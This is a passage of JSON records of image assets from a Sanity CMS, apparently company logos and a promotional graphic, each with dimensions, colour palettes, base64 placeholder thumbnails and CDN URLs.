9/44Ib1bv5CuVVWS+eWg5LM+5zoUuPYfYJ96qcCsztkjYGwI2BST3q83SPrgXsk2X5GB61clc/KY9H71mWR+PSx535fHgFlnzTUF+v8L3LJeUj/uUK/Ej/0pmWMHpWfTOskcP6QKHwf6zppmBcb/W3LsUcl1S6RrZZXc3fWtpPbtlO71K6VzyXsBOJ/NasnyL2DaWXPKc9Yc1XV62JSmmHAux9nLjZKsrQk8U5iOT/f6VZKomf+oKYHCh01pI2u2qMLFhNCsg6xzlzlxhNWz9P5drApTu3+Q7JVLgY8KSq5dKr3bNrIfuyD+xbOcrF+uYzNIkdAZioanK3AcIezS3WybVaIlsg53x4KZkvj4He47tI8HbjTLwM1r2ungX/u8adK5fCEna2u4ff4MHexuioQ2uGh4tCbEM4RQQdZccCWFOVc2QS8E+9pa8Ton1y7j1J7trIp7NtdL+9w3grUM1m/orj9s22RnzVPe7QgUDEdQ9fCi5x6GQzTM8WmTuW3uVG6fN51bKyKsj+m/4Ts+ITQQwmxCeP72q+M8r7WsSANiZBBB1lQ5axqcNSlnjeZfEGGPf86aQWdNN6kya2YRwgtBOEcLg7Tx2lDTGkZoBAWpgbCNEBrJGl2njLNGh1ZLS5M1rYSg6bJByySE5ygCBQ3RsQHLa5k83nNovLg1wQEhjCKEMYQwhxC+J4SzzsJ1pylt4SQhbCaEaYTwMiE81WLDHlkIPmfD3t9Vpfcpvd5mxAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4434","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50140f","foreground":"#fff","population":1.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e45344","foreground":"#fff","population":10.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4ac84","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f54e48","foreground":"#fff","population":3.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5951","foreground":"#fff","population":1.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e45344","foreground":"#fff","population":10.55,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-s3.svg","path":"images/sczeoy4w/production/eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58.svg","sha1hash":"eb38710ac4196b58734ae1cca36ab78d39b7aa16","size":818,"uploadId":"NuPVmYSNR2ZOGq4cuXGapWyKOQELaaTU","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58.svg"} {"_createdAt":"2022-08-15T15:40:21Z","_id":"image-20b68bd321b470ed73d4bcf78d494a0db7dd7d08-48x48-svg","_rev":"HosDT9snWCxUYvGzNYIgmP","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:40:21Z","assetId":"20b68bd321b470ed73d4bcf78d494a0db7dd7d08","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEy0lEQVQ4jV2V608UVxjGhw/yB+A/0KRNqH6oJm2s9oMtxJg29pJSr7EJGjUV7UWNNhUrxrJtsdCKCPWCUrmooK7EesFWIWqpoq0G0AUGsczusiPLLDszuzuLszPzPM1Z/NJ+eCcn7/u8vznvSZ5zpPb2DmlsTJVISv39AzmyPDJTGQ0VqpFxnzYR69LjhmoaCVuEWIucGhkvV5RQodD29Q3kiN5wWJX8/stSFnbypF8KBORcRQm/HI1qmwzD9FvpKdl2HN1xXdtxXe952HbG0UVNaKJRrURRwvmBwFBuZWV7FprdmYAFg2NzNW3Sl0pZfRk7Y3mpNBGLk0aCdJzp0BNETKdnpSk0Qqtpk75QaGyugApWdkyxM1GwrPRj13VdJFLkX/1g8wXg7FVg8AnwWAF+7QRPtIN/PgDMJIXWstLDolfsVLAkWX4yU4wp/iYE9FxwRAGa/cDuamDHD0CDHzh3Fag8Dmz7HqhqAIf+AT0Pokf0ivFleSRPUpRwoTiPTCZjgSQBYGgYbGolqo8B5bXg4dNk0wWi7iTgOwRWNRAPh4Uc4iN6BUNRQgWSqo6LUWXPdckpCzAmQWWU+P06cLyJrG8hO26QV2+R9WeIn08RF7vAJyEiboDpKXiOS8FQ1fFySdMmu2w7o2MqRQbuAV3twP1u4PYtsvEXsqaWPNZIHm0mq+rJo23EzXuEOEcBvh8ArDQFQ9MmOyVdN1THcWxOqkRnK9BUAbT8BNbsIbevJ7/YSO7eQ5aWkxt2kOu/IvfWEgdbgP0ngPPXwGiMgqHrRkQyzYTtJOMeB24QV2qBxjKwbDlZPJ9cOo/cvJI8fICsrSOLPyHf/JBctJpct5OoPAY0toN3++gYCc80E88k00zazviIx6464kwpULsW3PQKufIFcvlscl0hWVZCln5OLi8i31pMzn+bXLya+LIC+LEBPHWJTjDiGWbymaTrpupoQZs9TUR7KXBkDbBzPrhxFlmcT66aRa58lVy6gHz3DfKdQnLJ+8SKdUBpBXDgBHixi04kauuGGZG0WLzLTuo6hn4jO8qAs9uAIx8DFUvI7a+TxS+RK14ki2aRRa+Raz8gtpYQZWXA/jrwSDPQ84C2kdC1WLxTUp9Gy62kKXvhv8nO74DGZWD1QuLge8DBVWTZInLLAvLTheT2IsL3GbF7M7htA7H3a7D5FLzBYVhmUhYsSdwahm74M7pq4W49WTMP2DcbbFlDdNYCNxvBjsPk5XrieitwqQms3kWUfARuWQNcucCMplmGbvqV0VCBJA8MzoxOTJakTKPPHexw2bIMPL0a6PcD2giQigMpfTqSOvA0CPRcA6t3gvt2wL3X7aYMszc6ESuRA0N5Ul/PbXE55GtazGdFhobd3jYXfW2kHgThCWv9J4R/GVOB2x10/7jiWMrIsOgVjId3enKmr6+HgdxQKDJHi0Z9qVikN2OMW56dFrb+Hw7ZnPdsCpn4hJWKPu3VxqO+YCgyJ9A/MCN7fYVDEalqV40UeDSYqwTH8sX4hpn0C2/atq0LBziO602HY4ucqAmN0IqewKOhGYe++VYaC0ck6Vzb+Sw0+wTcuZkjDwTylFGlQBhdeFPYSThAhFiLnKgpo8EC+dFAXn939/MnICL5W/3SvzxCGQdxqwrdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58344e","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060614","foreground":"#fff","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dcc1c9","foreground":"#000","population":4.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc1c9","foreground":"#000","population":4.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c94","foreground":"#fff","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85e68","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95e10","foreground":"#fff","population":1.87,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-console.svg","path":"images/sczeoy4w/production/20b68bd321b470ed73d4bcf78d494a0db7dd7d08-48x48.svg","sha1hash":"20b68bd321b470ed73d4bcf78d494a0db7dd7d08","size":5115,"uploadId":"UktCuog9xSbzRIZmVWlxrBexnnAuqVBm","url":"https://cdn.sanity.io/images/sczeoy4w/production/20b68bd321b470ed73d4bcf78d494a0db7dd7d08-48x48.svg"} {"_createdAt":"2022-08-25T13:22:12Z","_id":"image-a3c5d573540886a97db653a013033a354ab9996a-58x58-svg","_rev":"5QPb9KWQ58ZSt63EYvzz9M","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T13:22:12Z","assetId":"a3c5d573540886a97db653a013033a354ab9996a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c2434","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042f7d","foreground":"#fff","population":1.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c3d96","foreground":"#fff","population":10.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bad4","foreground":"#000","population":1.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdc4f8","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#677ca0","foreground":"#fff","population":1.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c3d96","foreground":"#fff","population":10.37,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-conduktor.svg","path":"images/sczeoy4w/production/a3c5d573540886a97db653a013033a354ab9996a-58x58.svg","sha1hash":"a3c5d573540886a97db653a013033a354ab9996a","size":2023,"uploadId":"UPD90IzCvOZEfmrwwphXw2LuUwW3Ae0o","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3c5d573540886a97db653a013033a354ab9996a-58x58.svg"} {"_createdAt":"2022-09-14T11:06:55Z","_id":"image-4aeba5f5d92899a1ca62e6d1d67914bfbea597b4-1600x400-png","_rev":"k8Pq0px2i8BPOfOn9xasKK","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T11:06:55Z","assetId":"4aeba5f5d92899a1ca62e6d1d67914bfbea597b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":400,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAkklEQVQYlXXQ2YpCMRAE0HNdnkbfFNFxX1BUFJ90QMT//ypp6Atx0EBR6epOUimo0EI7OdAs0Piwb/2brRSriyX22GGBcfIKo6ynqW2L2Q3W2e/UF/Zxxg1/uOCEa+KAY+p3PJPr/iPPxsPh1g96GGCSToLDzQxD/GKejkOPutbjd6GHsYjgbZV5fcsw8ipR9r0A6rIIlIBfvFgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-picus-capital.png","path":"images/sczeoy4w/production/4aeba5f5d92899a1ca62e6d1d67914bfbea597b4-1600x400.png","sha1hash":"4aeba5f5d92899a1ca62e6d1d67914bfbea597b4","size":7816,"uploadId":"0TxpXGooQpk4WSpgc9DD1pS1FMOfHtjv","url":"https://cdn.sanity.io/images/sczeoy4w/production/4aeba5f5d92899a1ca62e6d1d67914bfbea597b4-1600x400.png"} {"_createdAt":"2022-09-14T11:07:56Z","_id":"image-ef98cb5556d449d3e078d592abc8c146cf0cd035-1000x1053-png","_rev":"PMq0xitQ26NszJZ6mX0TEl","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T11:07:56Z","assetId":"ef98cb5556d449d3e078d592abc8c146cf0cd035","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e025[UofIUj[M{RjayWBj[Rjt7j[fQWBofIUfQWBfQRjt7ayj[ofWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.949667616334283,"height":1053,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAACs0lEQVQ4jW2U24uXZRSFf5gzkzUWGZLPUw5KEGlkNiUhSFo2odUkGhgVEWU52jkrZwSjyQ4mBUVF3XRRV+FNf2MsXd/0efjg5Tu979pr77X2nqgTYJJ71y3qVvUl9aL6t3oZuNzn79SjwH1A9o7PTq6ADUudUXcBb6sr6mn1GLCgLgDH8g3IvxPqwzkzEMp9DDYF7FI/UD8NgDqnzqrTWcBsvz2rfqa+X9D1A86Ybja+o55R95TtNeUYPd+qPpHAwImW6H+G3ZCoSeUZ4G4Vdbu6Rd0AZM89kM/eDmQtAOdyZiAwAFJ2J9VtTf1000o9D6oH1DfVUw2+qcxOlWUCr6W8s3VbBLLxefUX4Fv1Up7Vn7t+VD9RH2h9j/b9wTHDx9Vldb+6sbb4A7gAXAL+Af5Vf6+VEnxHxToIfK7OjxnuGQEOUf9Sf1I/7r8/68HU+YK6t7V/Wj2rPjZm+FCjvtDaJOXv1ePq/VX0ywKdK8t96p3qkTpjx1jlXCdr6G3qo2W5vf839eB5IMBv1GZb1aUIx1X511LeoB5qBySFzV23De0IbAZ2t94CG7t3JarXVmsMc49dlqrY/M2MPXqfac3O1G5z13RKX6aSKvBRQIEDZRJTr297JZNcTxXsQzWsp24YDqPUw26pqST6YtXfDyzW/Cut+e4ofdPhMAKdrhiHCxz1l4HlPgfwUMWbvv58HhJhpimtu47tveojwN56NR3FMLJGe9cNE2nSeuxrqnNV7w5gS22xs212V42c4KnrbAaEVzsrgibgfABj4C9SZCBGzrR5Tn0NeF19t0MhA+HJ1jKC5T3rMPBWR9l7of2rml5Mfc6rq8BqOgII2JUa1k5ngcEqaclMowj0Q4fIahjmQFR8Ma0F/AZ8k8kNvAq8UoC0XFovQC+rYRXRsu9r4CLw1X/rbd9uMfcfVQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242424","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242424","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-platform6.png","path":"images/sczeoy4w/production/ef98cb5556d449d3e078d592abc8c146cf0cd035-1000x1053.png","sha1hash":"ef98cb5556d449d3e078d592abc8c146cf0cd035","size":16452,"uploadId":"yfhB2KQLt3R9MlVKSN8DMwveRqiPhqV5","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef98cb5556d449d3e078d592abc8c146cf0cd035-1000x1053.png"} {"_createdAt":"2022-09-14T11:09:33Z","_id":"image-ec9dcf0cdef2b0780a5a1c9746734ebac3282466-2500x939-png","_rev":"k8Pq0px2i8BPOfOn9xbGwK","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T11:09:33Z","assetId":"ec9dcf0cdef2b0780a5a1c9746734ebac3282466","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBEyiC~q00%MV@00t8%MIUxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6624068157614484,"height":939,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACDUlEQVQokWOYu2oHg5xVFAMDgxiDQ0QJg1diNQMYSLsysKn7MTCpeDMwKHgwCBiEMhj55TMUdSxi6F2wnSG9djpDTuNMhoyaKQyxRV0MHglVDMp2cQwM0fntnDruqfwKNjHcOm4pvOYBufwxBe3cWTUTeZLLeviSynr44os7ecNzmrmdo4pZOZXtGUonbWVwTetjcElqZXBLaGCwDi1m0PVIZ5C1jGJgWLJhr0VqZX+4fXixv6lftrd9eLFtdu1Excb+BQpVnbNVqrvmqJS3z1TOb5gsF57dKGwfksNpHZjJbuKdym7sncpm6JXKquuewqLulMgkbx3NwHDuym3/KQs39ieX9c5zjiqt8kqocm6ZvES9fepS3eaJi4xbJy8xaZiw0KSub75+cct0jeKW6cognF7Vr5ZRPUE5s3qCYlplv4xfSh2fjEUkI8O7j5+VDp68lDBx3rq6hJIun5SKPqnNe4/LzFmxTWvmsi2Gs5dvNZq6eKPR9CWb9KYu2qg9e/lW3VnLtxr0zV1r1jt7jXHf3LX6PbNXa+Y1TBWWNo9gZPj//z/Tuw+fxU5fvKm8aO1u/tMXbzLfe/Sc69CpywL7j18Q3nf8gsiuw2eFdx85J7j36HmBw6cuCx8+fVl09+GzEtsPnBLffuCUyPYDpwRnLtvCDo4UEPj//z+EwcDAUNe3EMwnBzPwmjIAAJwf7nxg4xgmAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314659","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#203b64","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#314659","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94acc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0bcd4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d71c1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-sofokus.png","path":"images/sczeoy4w/production/ec9dcf0cdef2b0780a5a1c9746734ebac3282466-2500x939.png","sha1hash":"ec9dcf0cdef2b0780a5a1c9746734ebac3282466","size":49803,"uploadId":"8FWXvqY8zoiceV5PyOY8TUnTd09yH0AS","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec9dcf0cdef2b0780a5a1c9746734ebac3282466-2500x939.png"} {"_createdAt":"2022-09-14T11:16:18Z","_id":"image-b13e086f0db21e5babebb59ce932e355eb424249-626x126-png","_rev":"STwkGY00NBjXpkjjM1pVoN","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T11:16:18Z","assetId":"b13e086f0db21e5babebb59ce932e355eb424249","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"43Lu~w7y1w}sBn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.968253968253968,"height":126,"width":626},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA7ElEQVQYlSWO3U7CQBSEiUAphQuRiKX8RBMTb7o/LUr37LZofP/X4NvXMFsvvpwzmcxkJoie0tUF1zrDqQlOJb3AqTnBzhGd/gVdPaNvpnFoM4LNcSqjSxmdIyMZYh5SQU5Xv9LVFd7keLtG9DOidwS7J9gjog849RT79jHePsvYtydE7xFdEuyBYFN2dxez/C906h2nPhCzw9sN3pSIqfD2RGjOeHNG9Eu8Xbbx+6uKQ/uG6FRaxb45kgi2vItZTfB2hugNTp3HlaLXhCYtzcfbN0u8KQh2GX+uWfx1eRwuK8QUiEl+YvTxZvoHXzZts3Z3VnIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c322d","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#720a09","foreground":"#fff","population":0.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#720a09","foreground":"#fff","population":0.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#851613","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e34440","foreground":"#fff","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c605a","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc0c24","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-earlybird.png","path":"images/sczeoy4w/production/b13e086f0db21e5babebb59ce932e355eb424249-626x126.png","sha1hash":"b13e086f0db21e5babebb59ce932e355eb424249","size":2746,"uploadId":"jvT6VpHjVQKBeaK9G1gxRm24taHCTBeu","url":"https://cdn.sanity.io/images/sczeoy4w/production/b13e086f0db21e5babebb59ce932e355eb424249-626x126.png"} {"_createdAt":"2023-12-18T12:27:28Z","_id":"image-6d9c200c06b620bade5c0b8e65bdf0e591be20dc-1200x628-png","_rev":"sg5cBJWkRHo7pkcz4Ln9xL","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T12:27:28Z","assetId":"6d9c200c06b620bade5c0b8e65bdf0e591be20dc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15#V$YSxP*w0NpMo@tPs=A10z:$RNFi]{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVElEQVQokWWSbU/TUBxH9wUkgqzrw9aud21ve7sxMpiCiL4yMTG+EAQ0RECBzW3sqXuQgYi+kJj4oY9ZfWPCB7gn539/J/Mgu8uC9o6H+j6L5gceWUcs5z+TtRtoThut2CPnDtFLE0xvhunf4ATXRHJAFHRx/Cmmf43hXZITYzKLxh52cIysNolW26haD1UboGojhErQ3f49oBvMWI9aPI6+4MkZefkTK/iO6X8js2QeIFfOWd/qU3+W8Hh7Sn37kvVnV8jqBEPcB4pgytPojOdxAxndUAjvsMNf2Or33HAfR54QrjZRtTbltT6VekK8NqYUJ1jeEF0kKdDwZlj+FSro8lId8qp8RFWNsOWPFOqoP3PDfUT0ifJam5V6l9WNhOqTcXpysDLGVWNMb5QCLe8SPxixFX7idbzHm/J7XsSnSJlgy+840d1/htW5YYdKfUC42qcYdrFln0KQoIshphiiZI9N1WQrPGZDHrEZnbIdN9mMW1SjASK8JbOg7bJsHaA7hxjiGKt0iuGekys20YsdDDFfuYfpdqjJM56rE5TXoOBe4Hgj4mjKduWCDdVK/zazqO2QN3dxxSFO8BnLO8MOvlAq9/FXxnjlCU44xHRbuG6DoNTEci/Q3ATDu6IY3hKFXwmCPlZpSGZJe4vI7xDKj/jxOU7YQMSddJRKfYaqXeFVJpiiQ9ZukZt3WRygizGWf/MvGf8aXYzSGjIL2R0e5XbJWgdkC4csF47RnFOsUou83yPvDzG9AVqxTdZup49y7nykadqeFdxilL6SEwk5N+EvybxUYec0pwQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653e65","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f73","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bd898e","foreground":"#000","population":4.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7982c1","foreground":"#fff","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e9c","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"One for all ebook.png","path":"images/sczeoy4w/production/6d9c200c06b620bade5c0b8e65bdf0e591be20dc-1200x628.png","sha1hash":"6d9c200c06b620bade5c0b8e65bdf0e591be20dc","size":171110,"uploadId":"PELElLkkHLNBGHDYIf3O5fb7TRPcY0oF","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d9c200c06b620bade5c0b8e65bdf0e591be20dc-1200x628.png"} 